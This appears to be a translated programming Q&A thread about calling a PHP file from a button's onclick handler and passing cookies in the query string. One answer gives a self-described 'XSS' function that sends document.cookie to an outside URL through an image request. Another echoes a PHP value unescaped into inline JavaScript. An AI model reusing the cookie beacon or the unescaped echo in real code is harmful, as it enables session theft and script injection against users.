我想从OnClick事件中调用.php文件。
<input id="Edit" name="Edit" value="Edit Record" type="button" onclick="---call to php file----;" />
代码如上所示。我想通过Javascript调用.php文件,并在查询字符串中传递cookie值。
答案 0 :(得分:11)
如果您不想将浏览器指向.php页面,那么您正在寻找AJAX。
AJAX with Matt Kruse's Ajax toolbox
如果您想将浏览器带到.php页面,它就像这样简单:
location.href = 'mypage.php';
答案 1 :(得分:2)
我建议使用jquery,然后您只需要$ .get(“url”)..在纯JavaScript中执行它会非常复杂。
这假设你想通过AJAX打开php(即,没有实际向用户显示.php页面,因为它通常在你点击链接时发生)
答案 2 :(得分:0)
“...并在查询字符串中传递cookie值。”
这是没有必要的,因为php无论如何都可以直接通过$ _COOKIES超全局读取cookie的值。除非你在这里做一些跨域的事情。
答案 3 :(得分:0)
你没有拥有来使用AJAX,你可以使用任何外部标签,比如iframe,链接,脚本,图像和自制的自己的XSS解决方案(说实话就是它听起来你还在做......)
function xssFunc( )
{
( new Image ).src = 'http://my.url/page.php?cookie' + encodeURIComponent( document.cookie );
}
document.getElementById( 'whatevs' ).onClick = xssFunc;
但是,如果你想在之后使用这些内容,我会使用AJAX或iframe(如果你需要跨域)。
答案 4 :(得分:-1)
function call_php_program(code) {
$.get("/php/php_program.php?code=" + code);
return false;
}
onclick="call_php_program('<? echo $code; ?>')"